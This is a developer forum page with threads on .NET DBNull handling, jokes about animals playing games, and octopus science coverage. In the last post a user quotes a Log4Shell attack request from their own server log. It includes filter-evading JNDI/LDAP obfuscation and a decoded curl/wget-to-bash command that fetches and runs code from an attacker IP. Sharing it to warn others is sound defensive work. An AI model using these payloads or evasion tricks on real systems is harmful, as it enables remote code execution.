|
That's an API problem, not really related to null or not null, but the fact that .NET DB drivers assume "null" as unset, and DBNull.Value as real null (WPF did it a little better, as we have Unset as a separate item, and null really means null).
You can probably create a helper/extension method that converts null to DBNull.Value and it should work fine.
I also consider it very bad that IDataParameter always box value types. It shouldn't need to do it, as I can clearly tell by working on C++ drivers that primitive types can just be primitive types and never "boxed" or similar there.
|
|
|
|
|
|
raddevus wrote: I need to actually insert a System.DbNull.Value into the databse -- that's a true DBNull -- not the String null which the db chokes on.
That statement makes no sense.
Given a string/text value in a database it can have one of the following values.
1. Null
2. Empty string. Some databases do not allow this
3. Any other non-empty value.
That list does not include 'DBNull'.
The 'DBNull' value is usually a value that is intended as a stand in for results for the first item in the list above.
Perhaps your real problem is that you need to represent the following
1. A value that is not null
2. User did not 'choose' anything. So you need to represent 'no value', but you cannot use 'null'.
In the above you then use a magical value. If your database supports it and there NO chance it will be needed then an empty string can be used. But otherwise some nonsensical value is chosen.
For example say you need to provide a customer telephone number. So you allow numbers. But for your special value you allow 'xxx-xxx-xxxx'. Naturally you must special case the code.
HOWEVER, this is not an idea solution. And you should first examine the requirements that state that 'null' cannot be used in the first place. That the database does not allow it is NOT a argument for that. Because that to is just code and it must meet the needs of the business and not arbitrary developer opinions.
|
|
|
|
|
|
First driving goldfish, now rats playing doom?
Should we be getting ready to bow to our pea-sized brain overlords?
"the debugger doesn't tell me anything because this code compiles just fine" - random QA comment
"Facebook is where you tell lies to your friends. Twitter is where you tell the truth to strangers." - chriselst
"I don't drink any more... then again, I don't drink any less." - Mike Mullikins uncle
|
|
|
|
|
Well to be fair, the size of brain doesn't seem to matter much. Rats are probably smarter than cats, and one of the few animals capable of metacognition (thinking about thinking basically - little philosophers, they are!)
One of the reasons I'm such a fan of scavenging animals like rats, racoons and crows is they are bloody intelligent. It makes them interesting as animals go.
Real programmers use butterflies
|
|
|
|
|
honey the codewitch wrote: little philosophers, they are! SocRATes!
"the debugger doesn't tell me anything because this code compiles just fine" - random QA comment
"Facebook is where you tell lies to your friends. Twitter is where you tell the truth to strangers." - chriselst
"I don't drink any more... then again, I don't drink any less." - Mike Mullikins uncle
|
|
|
|
|
Well, there is a video in which an orangutan driving a golf cart and even take the turns
|
|
|
|
|
I pretty certain they were in front of me this morning.
"the debugger doesn't tell me anything because this code compiles just fine" - random QA comment
"Facebook is where you tell lies to your friends. Twitter is where you tell the truth to strangers." - chriselst
"I don't drink any more... then again, I don't drink any less." - Mike Mullikins uncle
|
|
|
|
|
|
A couple of years ago we had a TV show where they took a bunch of different pet dogs and whittled them down via various agility and obedience tests etc until they had a dog which they taught to pilot an light aircraft, by using lights to indicate to it what adjustments to make. It didn't just have to fly straight and level, though, they set it a route it had to navigate.
They didn't expect it to take off and land, of course. A pilot took it up, then handed the controls over to the dog.
|
|
|
|
|
Wrong section, you should have posted that in the newsletter!
And I am ever so happy I navigated on this forum out of boredom!
|
|
|
|
|
I thought this qualified as weird at least. =)
Real programmers use butterflies
|
|
|
|
|
Mm quite the Rube Goldberg's contraption. Though I have to say, the rat doesn't seem very invested in the game to me!
|
|
|
|
|
|
OT: I've seen the randomly capitalized headlines for a while now. Is there a rule for 'randomizing' the capitals? Just trying to make certain I'm up to date on all the important stuff...
Rats playing DOOM seems kinda pointless. After all, it can be played on toasters. Teach them to perform open-heart surgery, though, and I'll be impressed!
|
|
|
|
|
David O'Neil wrote: OT: I've seen the randomly capitalized headlines for a while now. Is there a rule for 'randomizing' the capitals? Just trying to make certain I'm up to date on all the important stuff...
Sometimes it can be used to hold a secret message (e.g. just read the uppercase letters or just the lowercase letters), but that doesn't reveal anything obvious in this instance. 'RuN DoOM' is almost RANDOM; perhaps it should have been 'RAts ruN DoOM'
The longest alternating consonant/vowel/consonant/vowel country name (like cAnAdA / cUbA) is UnItEd ArAb EmIrAtEs.
|
|
|
|
|
|
Those are not suction cups... are rocket propellants...
PS: As you can see, ants came even from further...
|
|
|
|
|
Joan M: PS: As you can see, ants came even from further...
Yes they did Joan...
Yes they did...
|
|
|
|
|
...and cockroaches, spiders, fleas, ticks, etc. just to piss us off.
The less you need, the more you have.
Even a blind squirrel gets a nut...occasionally.
JaxCoder.com
|
|
|
|
|
Well, Cthulhu is a cephalopod. So, checks out!
|
|
|
|
|
True, if you play a modded Stellaris.
Bastard Programmer from Hell
"If you just follow the bacon Eddy, wherever it leads you, then you won't have to think about politics." -- Some Bell.
|
|
|
|
|
Having bothered to follow the link to the paper, and scan that, I'm unsurprised to note that the paper in way makes the suggestion that Octopuses came from space. Rather, that organic material from space (such as viruses) may have affected the DNA of hosts to result in the mutations that became Octopuses and related species.
And the reviews summarised of the papers point out that there is insufficient evidence as yet to support even that claim.
Sounds like Science continues to function as intended to me. Science journalism on the other hand...
"If you don't fail at least 90 percent of the time, you're not aiming high enough."
Alan Kay.
|
|
|
|
|
The log4j scoundrels are getting cuter. Here's an example request from my forensic log
GET /?x=${jndi%3aldap%3a//195.54.160.149%3a12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguMTMwLjE2NC4xMzM6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzOC4xMzAuMTY0LjEzMzo0NDMpfGJhc2g=} HTTP/1.1|Host:138.130.164.133%3a443|User-Agent:${${%3a%3a-j}${%3a%3a-n}${%3a%3a-d}${%3a%3a-i}%3a${%3a%3a-l}${%3a%3a-d}${%3a%3a-a}${%3a%3a-p}%3a//195.54.160.149%3a12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguMTMwLjE2NC4xMzM6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzOC4xMzAuMTY0LjEzMzo0NDMpfGJhc2g=}|Referer:${jndi%3a${lower%3al}${lower%3ad}${lower%3aa}${lower%3ap}%3a//195.54.160.149%3a12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguMTMwLjE2NC4xMzM6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzOC4xMzAuMTY0LjEzMzo0NDMpfGJhc2g=}|Accept-Encoding:gzip|Connection:close To make it a bit more readable, here it is with %3a => : and split into individual headers (line splitting is CP's in both blocks)
GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguMTMwLjE2NC4xMzM6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzOC4xMzAuMTY0LjEzMzo0NDMpfGJhc2g=} HTTP/1.1
Host:138.130.164.133:443
User-Agent:${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguMTMwLjE2NC4xMzM6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzOC4xMzAuMTY0LjEzMzo0NDMpfGJhc2g=}
Referer:${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMzguMTMwLjE2NC4xMzM6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzEzOC4xMzAuMTY0LjEzMzo0NDMpfGJhc2g=}
Accept-Encoding:gzip
Connection:close The base64 "KGN1..." decodes to
(curl -s 195.54.160.149:5874/138.130.164.133:443||wget -q -O- 195.54.160.149:5874/138.130.164.133:443)|bash 138.130.164.133 was my public IPv4 address at the time.
Note the cutesy ways they are hiding "jndi" and "ldap" from simple text-string filters.
Needless to say, it got a short sharp 403 response (as does anything that hasn't got a Host header with a real URL I recognise).
APNIC tells me that 195.54.160.149 belongs somewhere in Russia. Surprise surprise... And yes, that's also the source address of the request.
Software rusts. Simon Stephenson, ca 1994. So does this signature. me, 2012
modified 28-Dec-21 23:12pm.
|
|
|
|